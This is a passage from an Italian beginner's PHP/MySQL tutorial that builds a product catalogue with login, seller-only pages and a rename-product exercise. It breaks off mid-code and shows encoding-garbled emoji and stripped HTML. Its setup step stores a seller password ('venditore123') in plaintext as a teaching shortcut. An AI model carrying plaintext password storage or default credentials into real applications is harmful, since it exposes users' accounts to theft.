  4. Timeout sessione: Aggiungi un controllo: se l'utente Γ¨ inattivo per piΓΉ di 30 minuti, logout automatico. Usa $_SESSION['ultimo_accesso'] = time() e confronta con time().
PerchΓ© non posso semplicemente nascondere i link invece di proteggere le pagine?

Nascondere i link (non mostrare il pulsante "Inserisci" agli acquirenti) Γ¨ utile per l'usabilitΓ , ma NON Γ¨ sicurezza!

Un utente malintenzionato potrebbe:

La protezione deve essere sempre lato server (nel codice PHP), mai solo lato client (nascondendo link).

⚠️ Sicurezza avanzata (per siti reali, non didattici):
Perché è importante: ⚠️ Nota IMPORTANTE: Non usarlo MAI sulle password.
Le password sono dati sensibili: anche uno spazio Γ¨ parte della password e va rispettato esattamente come lo ha scritto l'utente.

βœ… PASSAGGI COMPLETI PER PROVARE L'APPLICAZIONE

πŸš€ FASE 1: Avviare l'ambiente

  1. Apri XAMPP Control Panel
  2. Clicca Start su Apache (diventa verde)
  3. Clicca Start su MySQL (diventa verde)

πŸ—„οΈ FASE 2: Preparare il Database

  1. Apri il browser all'indirizzo: http://localhost/phpmyadmin
  2. Crea il database web_app
  3. Esegui questo codice SQL per creare le tabelle:
CREATE DATABASE IF NOT EXISTS web_app;
USE web_app;

CREATE TABLE IF NOT EXISTS prodotti (
    id INT AUTO_INCREMENT PRIMARY KEY,
    nome VARCHAR(50) NOT NULL,
    descrizione TEXT,
    prezzo DECIMAL(6, 2) NOT NULL,
    immagine VARCHAR(255) NULL
);

CREATE TABLE IF NOT EXISTS utenti (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(30) NOT NULL UNIQUE,
    password VARCHAR(255) NOT NULL,
    tipo ENUM('acquirente', 'venditore') NOT NULL DEFAULT 'acquirente'
);

πŸ‘€ FASE 3: Crea un utente VENDITORE

È necessario creare almeno un utente venditore per poter cancellare prodotti:

  1. Nella stessa pagina phpMyAdmin, esegui questa query:
INSERT INTO utenti (username, password, tipo) 
VALUES ('venditore', 'venditore123', 'venditore');

βœ… Questo crea un utente con:

πŸ“Œ FASE 4: Copia tutti i file

Crea la cartella C:\xampp\htdocs\progetto\ e copiaci dentro tutti questi file:

FileDescrizione
connessione.phpConnessione database
login.htmlForm login
login.phpVerifica credenziali
dashboard.phpPagina personale dopo login
inserimento.htmlForm inserimento prodotti
inserimento.phpSalva prodotto nel DB
ricerca.htmlForm ricerca
ricerca.phpEsegue ricerca
cancella.htmlForm cancellazione prodotto
cancella.phpEsegue cancellazione
logout.phpEsci dall'account

▢️¸ FASE 5: Test dell'applicazione completa

  1. Apri il browser: http://localhost/progetto/login.html
  2. Effettua il login con:
    • βœ… Username: venditore
    • βœ… Password: venditore123

Ora puoi fare tutte le operazioni:

πŸ—‘οΈ Come cancellare un prodotto:

  1. Fai login come venditore
  2. Nella Dashboard clicca su πŸ—‘οΈ Cancella prodotto per ID
  3. Inserisci l'ID del prodotto che vuoi eliminare
  4. Conferma la cancellazione nel popup
βœ… Tutte le operazioni sono protette: solo gli utenti di tipo venditore possono vedere e usare le funzioni di inserimento e cancellazione.
πŸ’‘ SUGGERIMENTO FINALE: Funzione trim() e operatore null coalescing

In tutto questo manuale abbiamo mantenuto il codice semplice per facilitare l'apprendimento. Nella programmazione reale usa sempre queste due funzionalitΓ :

βœ… 1. Operatore ?? '' (null coalescing):
Serve per evitare errori quando un campo non Γ¨ stato inviato :
$descrizione = $_POST['descrizione'] ?? '';
Significa: "Prendi il valore di descrizione, se non esiste usa una stringa vuota"

βœ… 2. Funzione trim():
Rimuove tutti gli spazi bianchi iniziali e finali da una stringa.

βœ… 3. Forma completa e sicura (usa sempre questa!):
$username = trim($_POST['username'] ?? ''); $nome = trim($_POST['nome'] ?? ''); $descrizione = trim($_POST['descrizione'] ?? ''); $ricerca = trim($_GET['nome'] ?? '');
PerchΓ© Γ¨ importante:

🎯 Esercizio: Implementare la modifica del nome prodotto

Prova a implementare una funzionalitΓ  che permetta di modificare il nome di un prodotto giΓ  esistente nel database, senza fare riferimento alle immagini.

Obiettivo: L'utente deve poter inserire il nome attuale del prodotto e il nuovo nome desiderato, e il sistema deve aggiornare il record corrispondente nel database.

πŸ‘οΈ Clicca qui per vedere la soluzione
Soluzione completa:

Per implementare questa funzione, devi creare due nuovi file e aggiornare la home page.

1. Modifica di index.html

Aggiorna la home page aggiungendo il link per accedere alla pagina di modifica:




    
    Catalogo Prodotti - Home


    

Catalogo Prodotti

Inserisci prodotto

Ricerca prodotto

✏️ Modifica nome prodotto

2. Creazione di modifica.html




    
    Modifica Nome Prodotto


    

✏️ Modifica Nome Prodotto







← Torna alla home

3. Creazione di modifica.php

prepare("SELECT nome FROM prodotti WHERE nome = ?");
$stmt_check->bind_param("s", $old_nome);
$stmt_check->execute();
$result_check = $stmt_check->get_result();

if ($result_check->num_rows === 0) {
    $stmt_check->close();
    $conn->close();
    die("

⚠️ Nessuna modifica effettuata

Il prodotto '" . htmlspecialchars($old_nome) . "' non esiste nel database.

← Torna al form

"); } $stmt_check->close(); // Se arriviamo qui, il prodotto ESISTE β†’ procedo con UPDATE // ╔════════════════════════════════════════════════════════╗ // β•‘ PASSO 4: PREPARA la QUERY UPDATE CON SEGNAPOSTO (?) β•‘ // β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β• $stmt = $conn->prepare( "UPDATE prodotti SET nome = ? WHERE nome = ?" ); // ╔════════════════════════════════════════════════════════╗ // β•‘ PASSO 5: RIEMPI I SEGNAPOSTO CON I VALORI REALI β•‘ // β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β• $stmt->bind_param("ss", $new_nome, $old_nome); // "ss" = due stringhe // ╔════════════════════════════════════════════════════════╗ // β•‘ PASSO 6: ESEGUI L'UPDATE β•‘ // β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β• if ($stmt->execute()) { // ╔════════════════════════════════════════════════════════╗ // β•‘ PASSO 7: CONFERMA ALL'UTENTE β•‘ // β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β• $affected = $stmt->affected_rows; echo "

βœ… Prodotto modificato con successo!

"; echo "

Vecchio nome: " . htmlspecialchars($old_n